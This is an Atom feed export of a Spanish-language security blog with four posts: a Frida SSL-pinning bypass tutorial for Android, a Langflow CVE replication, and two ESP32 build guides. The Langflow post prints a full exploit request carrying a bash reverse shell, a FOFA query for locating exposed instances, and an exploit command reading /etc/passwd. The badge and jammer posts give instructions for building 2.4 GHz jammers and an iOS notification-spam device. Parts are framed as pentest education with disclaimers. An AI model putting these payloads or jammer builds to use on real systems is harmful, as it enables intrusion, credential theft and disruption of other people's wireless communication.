<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://blog.toadsec.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.toadsec.io/" rel="alternate" type="text/html" /><updated>2025-10-07T22:42:54+00:00</updated><id>https://blog.toadsec.io/feed.xml</id><title type="html">Toad Security</title><subtitle>Compilacion de articulos publicados por nuestro equipo!</subtitle><entry><title type="html">Pentest en Android - SSL pinning Bypass con frida</title><link href="https://blog.toadsec.io/2025/10/05/frida.html" rel="alternate" type="text/html" title="Pentest en Android - SSL pinning Bypass con frida" /><published>2025-10-05T00:00:00+00:00</published><updated>2025-10-05T00:00:00+00:00</updated><id>https://blog.toadsec.io/2025/10/05/frida</id><content type="html" xml:base="https://blog.toadsec.io/2025/10/05/frida.html"><![CDATA[<h1 align="center">SSL Pinning bypass con frida.</h1>
<div align="center">
  <img src="/assets/img/posts/frida/logofrida.png" />
</div>
<p><strong><em>En este artículo, explicaremos cómo puedes hacer el bypass de SSL pinning, que nos permite interceptar las peticiones de las aplicaciones con burpsuite/caido</em></strong></p>

<p>Frida es un kit de herramientas open source que nos permite inyectar código de JavaScript en Apps móviles para interceptar las peticiones y su comportamiento en tiempo real. Básicamente nos permite hacerle pentest, o hacerle un análisis dinámico.</p>

<hr />
<h3 id="requisitos-previos">Requisitos previos:</h3>
<ul>
  <li><strong>Android x86 rooteado</strong></li>
  <li><strong>Burpsuite/caido</strong> con el certificado en el android (referencia: https://redfoxsec.com/blog/installing-burp-suites-ca-as-a-system-certificate-on-android)</li>
  <li><strong>python</strong> instalado en la maquina anfitrión</li>
  <li>
    <h2 id="adb"><strong>adb</strong></h2>
    <h2 id="setup">Setup</h2>
    <p>Mi setup actual es el siguiente:
<strong>Android Studio con Pixel 3 y la API 24</strong></p>
  </li>
</ul>
<div align="center"> <img src="/assets/img/posts/frida/aestudio.png" alt="Android Studio emulador x86 API 24" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Android Studio con emulador Android 7.0 x86 (API 24) </p> </div>

<hr />
<h1 id="requisitos-para-instalar-frida">Requisitos para instalar frida</h1>
<p>Si tenemos python instalado en el <strong>path</strong> nos debería salir el siguiente output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\aleja&gt;py --version
Python 3.11.9
</code></pre></div></div>
<p>luego instalamos las siguientes librerías con <strong>pip</strong>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install frida
pip install frida-tools
pip install objection
</code></pre></div></div>
<p>para verificar que frida se instalo, ponemos el siguiente comando(Android tiene que estar vinculado):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># nos saldrán todas las apps que están ejecutándose 
C:\Users\aleja&gt;frida-ps -U
  PID  Name
-----  ----------------------------------------------
 9963  0000-0000
14938  Chrome
16961  Clock
15546  ElJavillo
10215  Google App
10988  Maps
16092  YouTube
 2606  adbd
 9462  audioserver
 9463  cameraserver
 9751  com.android.inputmethod.latin
10281  com.android.launcher3
 9915  com.android.phone
</code></pre></div></div>

<p>Ahora nos iremos al <strong>github de frida</strong>, e instalaremos frida-server la version x86:
<a href="https://github.com/frida/frida/releases/download/17.3.2/frida-server-17.3.2-android-x86.xz">https://github.com/frida/frida/releases/download/17.3.2/frida-server-17.3.2-android-x86.xz</a>
Descomprimimos el .xz, cambiamos nombre a frida y pasamos el archivo frida a nuestro android en la ruta <strong><em>/data/local/tmp</em></strong>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push frida /data/local/tmp
frida: 1 file pushed, 0 skipped. 88.7 MB/s (53074896 bytes in 0.571s)
</code></pre></div></div>
<p>Nos dirigimos al directorio de data y verificamos que existe el archivo frida:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>generic_x86:/ # cd /data/local/tmp/
generic_x86:/data/local/tmp # ls -la
total 103704
drwxrwx--x 4 shell shell     4096 2025-10-05 21:42 .
drwxr-x--x 3 root  root      4096 2025-09-26 10:01 ..
drwxr-xr-x 2 shell shell     4096 2025-10-02 08:56 .studio
-rw-rw-rw- 1 shell shell     1330 2025-09-26 10:21 9a5ba575.0
-rwxr-xr-x 1 shell shell 53074896 2025-10-01 19:36 frida
</code></pre></div></div>
<p>le damos permisos de ejecución:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>generic_x86:/data/local/tmp # chmod 755 frida
</code></pre></div></div>
<hr />
<p>Ahora vamos al siguiente link:
https://codeshare.frida.re/@akabe1/frida-multiple-unpinning
y copiamos <strong>TODO</strong> el contenido, abrimos un notepad lo pegamos y lo guardamos como <code class="language-plaintext highlighter-rouge">frida_multiple_unpinning.js</code></p>
<div align="center"> <img src="/assets/img/posts/frida/saveas.png" alt="Guardar script de unpinning en archivo JS" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Guardando el script frida_multiple_unpinning.js</p> </div>

<hr />
<h1 id="burpsuite">Burpsuite</h1>
<p>activamos el proxy con el puerto 8080
<code class="language-plaintext highlighter-rouge">adb shell settings put global http_proxy &lt;IP-Android&gt;:8080</code></p>

<p>en mi caso seria:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb shell settings put global http_proxy 10.0.2.2:8080
</code></pre></div></div>
<hr />
<h1 id="instalar-nuestra-app-objetivo">Instalar nuestra app objetivo</h1>
<p>Si tenemos un android rooteado en AndroidStudio, tendremos que tener un <em>Android Puller</em> básicamente seria instalar otro android x86 sin rootear:
1.Create virtual device</p>
<div align="center"> <img src="/assets/img/posts/frida/puller.png" alt="Crear dispositivo virtual para Android Puller" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Creación de un dispositivo virtual secundario (no rooteado) — Android Puller</p> </div>
<p>2.Imagen del sistema</p>
<div align="center"> <img src="/assets/img/posts/frida/oreo.png" alt="Selección de imagen de sistema Oreo" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Selección de imagen de sistema (Oreo/x86)</p> </div>
<p>Iniciamos sesión en un playstore y descargamos algún app. <em>evitar instalar apps bancarias</em>.
Luego de haber instalado, vamos a listar los paquetes con <code class="language-plaintext highlighter-rouge">adb shell list packages</code>
nos saldrán todos los paquetes de nuestras apps, buscaremos la que instalamos, en este caso fue <strong>elJavillo</strong>.
para una búsqueda mas fácil, podemos buscarlo por su nombre:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb shell pm list packages | findstr eljavillo
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">package:comsisfarma.eljavillo</code>
con esto vamos a listar todas las rutas de los APK instaladas:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb shell pm path comsisfarma.eljavillo
</code></pre></div></div>
<p>nos salen todas las apks</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>package:/data/app/comsisfarma.eljavillo-1/base.apk
package:/data/app/comsisfarma.eljavillo-1/split_config.en.apk
package:/data/app/comsisfarma.eljavillo-1/split_config.x86.apk
package:/data/app/comsisfarma.eljavillo-1/split_config.xxhdpi.apk
</code></pre></div></div>
<p>vamos a hacer <strong>adb pull</strong> para pasarlo a nuestro host anfitrión, para luego pasarlo al android rooteado</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb pull /data/app/comsisfarma.eljavillo-1/base.apk "C:\tu\ruta\base.apk"
adb pull /data/app/comsisfarma.eljavillo-1/split_config.x86.apk "C:\tu\ruta\eljavillo_x86.apk"
adb pull /data/app/comsisfarma.eljavillo-1/split_config.en.apk "C:\tu\ruta\eljavillo_en.apk"
adb pull /data/app/comsisfarma.eljavillo-1/split_config.xxhdpi.apk "C:\tu\ruta\split_config.xxhdpi.apk"
</code></pre></div></div>

<p>Luego de confirmar que tenemos todos los archivos en nuestro directorio preferido:</p>
<div align="center"> <img src="/assets/img/posts/frida/apk.png" alt="APKs extraídos en el host" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">APKs extraídos en el host para instalación múltiple </p> </div>
<p>en la terminal ponemos:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb install-multiple eljavillo_base.apk eljavillo_x86.apk eljavillo_xxhdpi.apk eljavillo_en.apk
</code></pre></div></div>
<p>y verificamos que se instalo en nuestro android rooteado:</p>
<div align="center"> <img src="/assets/img/posts/frida/javillo.png" alt="App instalada en el emulador rooteado" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Aplicación instalada correctamente en el emulador rooteado </p> </div>

<hr />
<h2 id="disclaimer">Disclaimer:</h2>
<p><strong><em>Esto es una prueba en un entorno controlado, no hay intenciones de vulnerar la aplicación del javillo.</em></strong></p>

<hr />
<h1 id="ssl-bypass">SSL bypass</h1>
<p>Luego de haber descargado nuestra aplicación objetivo, vamos a abrir 2 terminales, una con <strong>adb</strong> dentro de <strong><em>/data/local/tmp</em></strong></p>
<div align="center"> <img src="/assets/img/posts/frida/fridaexe.png" alt="Ejecución de frida en /data/local/tmp" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Ejecución del binario frida en el emulador </p> </div>
<p>y la otra en nuestro <strong>host</strong> donde tengamos nuestro archivo JavaScript para correr el siguiente comando</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida -U -f comsisfarma.eljavillo -l .\frida_multiple_unpinning.js
</code></pre></div></div>
<p>-f: nombre del paquete de nuestra app.
-l: nombre del archivo .js</p>
<div align="center"> <img src="/assets/img/posts/frida/ssl.png" alt="Salida inicial del hook con frida" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Hook inicial con frida y carga del script </p> </div>
<p>esperamos 30s y nos saldrá [+], quiere decir que se hizo el bypass correctamente</p>
<div align="center"> <img src="/assets/img/posts/frida/bypass.png" alt="Indicador [+] de bypass exitoso" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Indicador de bypass exitoso tras la espera </p> </div>
<p>si entramos a nuestro android, podemos confirmar que la app del javillo se abrió correctamente</p>
<div align="center"> <img src="/assets/img/posts/frida/ja.png" alt="App abierta tras aplicar el bypass" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Aplicación objetivo iniciada correctamente</p> </div>
<p><em>para que el bypass funcione, tenemos que tener nuestra app objetivo cerrada, el script de frida corriendo, si funciona, frida  abrirá la app sola con el bypass.</em></p>

<hr />
<h1 id="interception-successfully">Interception successfully</h1>
<p>en burp/caido ponemos <strong>intercept on</strong> y si enviamos una petición, vemos que nos sale sin problemas.</p>
<div align="center"> <img src="/assets/img/posts/frida/peti.png" alt="Intercepción de peticiones con Burp/Caido" width="450" /> <p style="text-align:center; font-size:0.95em; color:#6c757d; margin-top:6px;">Intercepción activa de tráfico HTTP(S) </p> </div>

<hr />
<h2 id="con-esto-ya-tendríamos-nuestro-entorno-en-android-x86-listo-para-hacer-pentestingbug-bounty">Con esto ya tendríamos nuestro entorno en android x86 listo para hacer pentesting/bug bounty.</h2>

<hr />
<h2 id="cualquier-problema">Cualquier problema:</h2>
<p>Contactarme por correo: <a href="mailto:snoody@toadsec.io">snoody@toadsec.io</a></p>

<hr />
<h2 id="referencias">Referencias</h2>
<p><a href="https://github.com/frida/frida">https://github.com/frida/frida</a><br />
<a href="https://redfoxsec.com/blog/installing-burp-suites-ca-as-a-system-certificate-on-android">https://redfoxsec.com/blog/installing-burp-suites-ca-as-a-system-certificate-on-android</a><br />
<a href="https://codeshare.frida.re/@akabe1/frida-multiple-unpinning.js">https://codeshare.frida.re/@akabe1/frida-multiple-unpinning.js</a></p>]]></content><author><name>Alejandro Torres</name></author><summary type="html"><![CDATA[SSL Pinning bypass con frida. En este artículo, explicaremos cómo puedes hacer el bypass de SSL pinning, que nos permite interceptar las peticiones de las aplicaciones con burpsuite/caido]]></summary></entry><entry><title type="html">Langflow Security Alert: Understanding and Preventing a Critical Escalation Vulnerability</title><link href="https://blog.toadsec.io/2025/09/07/langflow.html" rel="alternate" type="text/html" title="Langflow Security Alert: Understanding and Preventing a Critical Escalation Vulnerability" /><published>2025-09-07T00:00:00+00:00</published><updated>2025-09-07T00:00:00+00:00</updated><id>https://blog.toadsec.io/2025/09/07/langflow</id><content type="html" xml:base="https://blog.toadsec.io/2025/09/07/langflow.html"><![CDATA[<h1 align="center">🚨Alert🚨 CVE-2025-57760</h1>
<div align="center">
  <h3 align="center">🔥 POC publicado: GitHub Advisory</h3>
</div>

<h5 id="introducción">Introducción</h5>

<p>En el mundo de la ciberseguridad ya hemos visto un sin número de CVE y replicados, en algunos casos hasta parece mentira que se vuelvan a ver esta situaciones, indistintamente de la tecnología que estemos probando. Recientemente vimos un tweet donde se avisaba de una vulnerabilidad en Langflow, interfaz gráfica para construir, visualizar y administrar flujos de trabajo basados en modelos de lenguajes LLM, con modelos locales o con los GPT de OpenAI. Sin necesidad de escribir código.</p>

<p>Esto implica un beneficio ya que evita escribir código para interactuar con APIs LLM, simplificando el desarrollo para científicos de datos, profesionales de IA o hasta para no desarrolladores.</p>

<p>En este articulo deseo demostrarle lo fácil que es replicar un CVE-2025.</p>

<h5 id="origen-del-hallazgo">Origen del Hallazgo</h5>

<p><img src="/assets/img/posts/langflow/1.png" alt="1" /></p>

<p>Fuente: https://x.com/HunterMapping/status/1960285594409410770</p>

<p>Este aviso era todo lo que necesitamos para ponernos manos a la obra</p>

<p>Un simple query con fofa https://fofa.so/result?qbase64=IkxhbmdmbG93IiAmJiB0aXRsZT09IkxhbmdmbG93Ig%3D%3D</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"Langflow" &amp;&amp; title=="Langflow"
</code></pre></div></div>

<p><img src="/assets/img/posts/langflow/2.png" alt="2" /></p>

<p>Nos arrojaba el resultado de aproximadamente 3193 resultados, 1977 ips únicas</p>

<p><strong>Nota:</strong> estas pruebas fueron realizadas en un entorno controlado, sin embargo aclaramos que la replicación de la misma es sumamente trivial</p>

<p>Revisando el reporte https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r, teníamos una idea claro de como funcionaba la vulnerabilidad.</p>

<ol>
  <li>La herramienta langflow para su implementación rápida utiliziba una imagen de docker que expone información sensitiva incluyendo el comando <code class="language-plaintext highlighter-rouge">langflow superuser</code></li>
  <li>Combinada con el endpoint  <strong>/api/v1/validate/code</strong>, permite que un usuario pueda ejecutar <code class="language-plaintext highlighter-rouge">/app/.venv/bin/langflow superuser</code> dentro del contenedor y otorgarse permisos de superuser.</li>
</ol>

<h5 id="poc">Poc</h5>

<ol>
  <li>
    <p>Probamos el <a href="https://github.com/verylazytech/CVE-2025-3248">exploit</a> en un entorno controlado</p>

    <p><code class="language-plaintext highlighter-rouge">python3 cve-2025-3248.py http://ip:8501 'cat /etc/passwd'</code></p>

    <p><img src="/assets/img/posts/langflow/3.png" alt="3" /></p>

    <p>Ejecución de comandos remoto</p>

    <p><img src="/assets/img/posts/langflow/4.png" alt="4" /></p>

    <p>Descubrimos que en algunos casos, no había autenticación básica</p>

    <p><img src="/assets/img/posts/langflow/5.png" alt="5" /></p>

    <p>En otros casos observamos la exposición de API keys de diversos servicios, se notifico a los respectivos equipos sin éxito.</p>
  </li>
  <li>
    <p>Una vez ya entendimos la vulnerabilidad solamente necesitamos modificar el payload para obtener una shell reversa</p>

    <p><img src="/assets/img/posts/langflow/6.png" alt="6" /></p>

    <p>En la petición cambiamos el endpoint al endpoint (/api/v1/validate/code) vulnerable y se realizo tipo</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST  /api/v1/validate/code HTTP/1.1
Host: ip:8501
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0ODgzNWNmNy05OGIxLTQzNTctOTEyYi0zNWJjZmJlYjk5NGMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg4ODE2ODQxfQ.onTcMcF0Hc7KhcKDZ1BGT2p6k_57C-AQnegoq1kqOF4
Connection: keep-alive
Referer: http://ip:8501/flows
Cookie: access_token_lf=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0ODgzNWNmNy05OGIxLTQzNTctOTEyYi0zNWJjZmJlYjk5NGMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg4ODE2ODQxfQ.onTcMcF0Hc7KhcKDZ1BGT2p6k_57C-AQnegoq1kqOF4; apikey_tkn_lflw=""; auto_login_lf=auto; sidebar:state=true
Content-Length: 124
   
   
{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i &gt;&amp; /dev/tcp/192.168.0.10/9999 0&gt;&amp;1'\")):\n    pass"
}
   
</code></pre></div>    </div>

    <p><img src="/assets/img/posts/langflow/7.png" alt="7" /></p>
  </li>
  <li>
    <p>Impacto</p>

    <ul>
      <li>Escalación de privilegios a nivel de superusuario: control total de la instancia de Langflow.</li>
      <li>Acceso a todos los datos, flujos, credenciales y configuración de los usuarios.</li>
      <li>Fuga de credenciales: el atacante puede extraer claves de API de terceros.</li>
      <li>Exposición de variables de entorno (dentro del contenedor Docker).</li>
      <li>Posibilidad de ejecutar instancias adicionales de Langflow mediante el comando «langflow run» dentro del contenedor, lo que puede agotar los recursos (CPU, memoria) y provocar la degradación del servicio.</li>
      <li>Gestión integral de usuarios: el superusuario puede eliminar usuarios y restablecer sus contraseñas.</li>
    </ul>
  </li>
  <li>
    <p>Recomendaciones</p>

    <ul>
      <li>Nunca ejecutar langflow con privilegios de root</li>
      <li>Validar siempre el entorno</li>
      <li>Aplicar políticas de contenedor seguro</li>
    </ul>
  </li>
</ol>

<h5 id="conclusiones">Conclusiones</h5>

<p>Replicar esta prueba con el conocimiento necesario para la misma fue cuestión de 30 minutos a 1 hora máximo, indistintamente de la necesidad de implementar aplicaciones modernas y no bajarnos del la ola de IA, debes tomar las medidas de seguridad mínimas y no dejar configuraciones por defecto por el apuro de desplegar un proyecto a producción.</p>

<h5 id="referencias">Referencias</h5>

<ul>
  <li>Langflow-Ai. (n.d.). <em>Privilege escalation via CLI Superuser Creation (Post-RCE)</em>. GitHub. https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r</li>
</ul>]]></content><author><name>Jose Moreno</name></author><summary type="html"><![CDATA[🚨Alert🚨 CVE-2025-57760 🔥 POC publicado: GitHub Advisory]]></summary></entry><entry><title type="html">ToadSec Badge RootedCON</title><link href="https://blog.toadsec.io/2025/05/21/Badge.html" rel="alternate" type="text/html" title="ToadSec Badge RootedCON" /><published>2025-05-21T00:00:00+00:00</published><updated>2025-05-21T00:00:00+00:00</updated><id>https://blog.toadsec.io/2025/05/21/Badge</id><content type="html" xml:base="https://blog.toadsec.io/2025/05/21/Badge.html"><![CDATA[<h1 align="center">Featuring ToadSec Badge RootedCON Version </h1>
<div align="center">
  <img src="/assets/img/posts/badge/1.png" />
  <h3 align="center">Diseño de PCB elaborado por Snoody</h3>
</div>
<p><strong><em>En este artículo, explicaremos cómo puedes armar y programar nuestro badge versión rootedcon.</em></strong></p>

<p>Este Badge es un dispositivo hecho con el microcontrolador <strong>ESP32</strong> que nos ofrece diversas funcionalidades para poder hacer distintos tipos de ataques de WiFi, Bluetooth, BLE, Controles RC, Dispositivos IoT, e incluso en sistemas <strong>IOS</strong>, utilizando módulos <strong>nRF24</strong> para generar interferencias en los diferentes tipos de tecnologías inalámbricas de 2.4Ghz , inundando los distintos canales con ruido y paquetes basura afectando incluso a dispositivos Apple.</p>

<hr />
<p>Este dispositivo es capaz de interferir con un amplio espectro de equipos que operan en la banda de 2.4 GHz. Su acción puede afectar a altavoces Bluetooth, micrófonos inalámbricos, la conectividad de smartphones (principalmente WiFi y Bluetooth), redes WiFi, sistemas de control de drones, así como teclados y ratones inalámbricos. <strong>Destaca su capacidad para ejecutar ataques de spam de notificaciones dirigidos a dispositivos iOS (como iPhones o iPads) con versiones de software desactualizadas.</strong> Adicionalmente, posee la funcionalidad de escanear redes WiFi y Bluetooth activas en su proximidad.</p>

<hr />

<h2 id="materiales-necesarios-para-armar-el-badge">Materiales necesarios para armar el Badge</h2>

<ul>
  <li>
    <p><strong>ESP32 Wroom32 UE</strong>  o cualquier otro modelo de ESP32 de 38 pines
<img src="/assets/img/posts/jammer/ESP32.jpg" alt="ESP32 Wroom32 UE" width="430" /></p>
  </li>
  <li>
    <p><strong>nRF24L01 +PA + LNA (3x)</strong><br />
<img src="/assets/img/posts/jammer/nrf.jpg" alt="nRF24L01 +PA + LNA" width="450" /></p>
  </li>
  <li>
    <p><strong>Capacitores 10uf +10v (3x)</strong><br />
<img src="/assets/img/posts/jammer/capacitor.jpg" alt="Capacitores 10uf +10v" width="450" /></p>
  </li>
  <li>
    <p><strong>TP4056</strong> (Módulo de carga)<br />
<img src="/assets/img/posts/jammer/TP4056.png" alt="TP4056" width="450" /></p>
  </li>
  <li>
    <p><strong>Switch de 3 pines</strong><br />
<img src="/assets/img/posts/jammer/switch.jpg" alt="Switch de 3 pines" width="450" /></p>
  </li>
  <li><strong>Batería LiPo 3.7v +1500mah</strong> (Dependiendo del tiempo de uso deseado, recomendable más de 1500mah)<br />
<img src="/assets/img/posts/jammer/lipo.png" alt="Batería LiPo 3.7v" width="450" /></li>
  <li><strong>Neopixel WS2812B (x2)</strong>
<img src="/assets/img/posts/badge/neopixel.jpg" alt="Neopixel" width="450" /></li>
  <li><strong>Screen OLED 1.3”</strong> 
<img src="/assets/img/posts/badge/oled.png" alt="Neopixel" width="450" /></li>
  <li><strong>Botones smd 5.2x5.2x2.5 (5x)</strong>
<img src="/assets/img/posts/badge/smd.jpg" alt="smd" width="450" /></li>
</ul>

<hr />
<h3 id="opcional">Opcional</h3>

<ul>
  <li><strong>EBYTE E01-2G4M27D (3x)</strong> (para mejorar el rango de los ataques)
<img src="/assets/img/posts/jammer/ebyte.jpg" alt="EBYTE E01-2G4M27D" width="450" /></li>
  <li><strong>Buzzer Activo 3v</strong>
<img src="/assets/img/posts/badge/buzzer.jpg" alt="Neopixel" width="450" /></li>
</ul>

<hr />

<h2 id="diseño-de-la-pcb">Diseño de la PCB</h2>
<center>Frontal</center>
<p><img src="/assets/img/posts/badge/2.png" alt="PCB-1" /></p>
<center>Trasero</center>
<p><img src="/assets/img/posts/badge/3.png" alt="PCB-2" /></p>

<hr />
<h2 id="diagrama-de-conexiones">Diagrama de Conexiones</h2>

<h3 id="esquemático">Esquemático</h3>

<p><img src="/assets/img/posts/badge/diagram.png" alt="PCB-2" /></p>

<hr />
<h3 id="disclaimer">Disclaimer:</h3>
<p>Los pines de la pantalla pueden variar, nosotros utilizamos 1.3”, en caso de usar 0.96” quedaría así: 
<code class="language-plaintext highlighter-rouge">GND-&gt;VCC-&gt;SCL-&gt;SDA</code></p>
<h3 id="conexión-de-la-batería">Conexión de la Batería</h3>

<table>
  <thead>
    <tr>
      <th>Batería Li-Ion 3.7V</th>
      <th>Conector JST-PH2</th>
      <th>Módulo de Carga TP4056</th>
      <th>Switch de 3 pines</th>
      <th>ESP32</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>(+) Batería</td>
      <td>(+) JST-PH2</td>
      <td>Bat +</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>(-) Batería</td>
      <td>(-) JST-PH2</td>
      <td>Bat -</td>
      <td>Switch in</td>
      <td> </td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td>OUT +</td>
      <td>Switch out</td>
      <td>3V3</td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td>OUT -</td>
      <td>GND</td>
      <td> </td>
    </tr>
  </tbody>
</table>

<hr />
<h2 id="flash-del-firmware">Flash del Firmware</h2>
<p>Archivo de Descarga:
<a href="/assets/img/posts/badge/BadgeToad.rar">Descargar rar</a></p>

<hr />
<p>Estaremos utilizando el nRFBox de Cifertech
En caso de que no reconozca el ESP32, descargar los drivers del mismo.</p>

<p>Dentro del Arduino IDE descargaremos la Version de ESP32 2.0.11:
  <img src="/assets/img/posts/badge/4.png" alt="IDE" width="550" /></p>

<hr />

<p>y conectamos el ESP32:
    <img src="/assets/img/posts/badge/5.png" alt="IDE1" width="550" /></p>

<hr />

<p>Descargamos las siguientes librerías: <br />
<img src="/assets/img/posts/badge/6.png" alt="IDE 2" width="550" />
en caso de que falten algunas, instalarlas*</p>

<hr />

<p>y antes de Flashear el contenido, Seleccionamos en Tools, Partitions Scheme&gt; Minimal SPIFFS:
  <img src="/assets/img/posts/badge/7.png" alt="IDE3" width="650" />
y procedemos a Flashear el Firmware.</p>

<hr />
<h2 id="posibles-errores-durante-el-flash">Posibles errores durante el flash</h2>
<h4 id="librerías">Librerías:</h4>
<p>Alguna librería restante no descargada</p>
<h4 id="archivo-de-buzzer">Archivo de Buzzer:</h4>
<p>En tal caso de algún error en el archivos, puedes eliminarlo y comentar el <code class="language-plaintext highlighter-rouge">#include "buzzer.h"</code> del archivo principal .ino</p>
<h4 id="cualquier-otro-problema">Cualquier otro problema:</h4>
<p>Contactarme por correo: snoody@toadsec.io</p>

<hr />
<h2 id="referencias">Referencias</h2>

<ul>
  <li><strong>CiferTech</strong>. (s. f.). GitHub - nRFBox</li>
</ul>]]></content><author><name>Alejandro Torres</name></author><summary type="html"><![CDATA[Featuring ToadSec Badge RootedCON Version Diseño de PCB elaborado por Snoody En este artículo, explicaremos cómo puedes armar y programar nuestro badge versión rootedcon.]]></summary></entry><entry><title type="html">Cómo hacer un bloqueador de señales Bluetooth, WiFi y más</title><link href="https://blog.toadsec.io/2025/03/17/BlueJammer.html" rel="alternate" type="text/html" title="Cómo hacer un bloqueador de señales Bluetooth, WiFi y más" /><published>2025-03-17T00:00:00+00:00</published><updated>2025-03-17T00:00:00+00:00</updated><id>https://blog.toadsec.io/2025/03/17/BlueJammer</id><content type="html" xml:base="https://blog.toadsec.io/2025/03/17/BlueJammer.html"><![CDATA[<h1 align="center">ESP32-BlueJammer</h1>
<div align="center">
  <img src="/assets/img/posts/jammer/banner.png" />
  <h3 align="center">Diseño de PCB elaborado por Snoody</h3>
</div>
<p>En este artículo, explicaremos cómo construir y optimizar un bloqueador de señales en la banda de 2.4 GHz, creando un dispositivo funcional con un ESP32, módulos nRF24 y un diseño en PCB para mejorar su estabilidad y rendimiento.</p>

<p>El <strong>ESP32-Bluelammer</strong> es un dispositivo capaz de interrumpir la comunicación de Bluetooth, WiFi, BLE, drones RC, IoT y más, utilizando un ESP32 y módulos nRF24 para generar interferencias mediante ataques de denegación de servicio (DoS). Inunda los canales con ruido y paquetes innecesarios, afectando una amplia gama de dispositivos.</p>

<p>Este jammer puede interrumpir audio en bocinas Bluetooth, micrófonos inalámbricos, conexiones de smartphones, redes WiFi, controles de drones, teclados y ratones inalámbricos, y prácticamente cualquier dispositivo que opere en 2.4 GHz.</p>

<p>Su alcance varía según la antena y configuración utilizada, pudiendo superar los 30 metros con antenas estándar de 2.4 GHz, y aumentando aún más con antenas de mayor ganancia o amplificadores de señal. Además, diseñar el circuito en una PCB optimizada permite mejorar la estabilidad, reducir interferencias no deseadas y facilitar el ensamblaje del dispositivo.</p>

<hr />

<h2 id="materiales-utilizados">Materiales Utilizados</h2>

<ul>
  <li>
    <p><strong>ESP32 Wroom32 UE</strong><br />
<img src="/assets/img/posts/jammer/ESP32.jpg" alt="ESP32 Wroom32 UE" /></p>
  </li>
  <li>
    <p><strong>nRF24L01 +PA + LNA (2x)</strong><br />
<img src="/assets/img/posts/jammer/nrf.jpg" alt="nRF24L01 +PA + LNA" /></p>
  </li>
  <li>
    <p><strong>Capacitores 10uf +10v (2x)</strong></p>
  </li>
</ul>

<hr />

<h3 id="versión-portátil">Versión Portátil</h3>

<ul>
  <li>
    <p><strong>TP4056</strong> (Módulo de carga)<br />
<img src="/assets/img/posts/jammer/TP4056.png" alt="TP4056" /></p>
  </li>
  <li>
    <p><strong>Switch de 3 pines</strong><br />
<img src="/assets/img/posts/jammer/switch.jpg" alt="Switch de 3 pines" /></p>
  </li>
  <li>
    <p><strong>Batería LiPo 3.7v +1000mah</strong> (Dependiendo del tiempo de uso deseado)<br />
<img src="/assets/img/posts/jammer/lipo.png" alt="Batería LiPo 3.7v" /></p>
  </li>
</ul>

<hr />

<h2 id="versión-portátil-mejorada">Versión Portátil Mejorada</h2>

<ul>
  <li>
    <p><strong>ESP32 Wroom32 UE</strong><br />
<img src="/assets/img/posts/jammer/ESP32.jpg" alt="ESP32 Wroom32 UE" /></p>
  </li>
  <li>
    <p><strong>Antena 8dbi con conector IPEX</strong><br />
<img src="/assets/img/posts/jammer/ipex.jpg" alt="Antena IPEX" /></p>
  </li>
  <li>
    <p><strong>EBYTE E01-2G4M27D (2x)</strong><br />
<img src="/assets/img/posts/jammer/ebyte.jpg" alt="EBYTE E01-2G4M27D" /></p>
  </li>
  <li>
    <p><strong>Antena 12dbi (2x)</strong><br />
<img src="/assets/img/posts/jammer/antena.jpg" alt="Antena 12dbi" /></p>
  </li>
  <li>
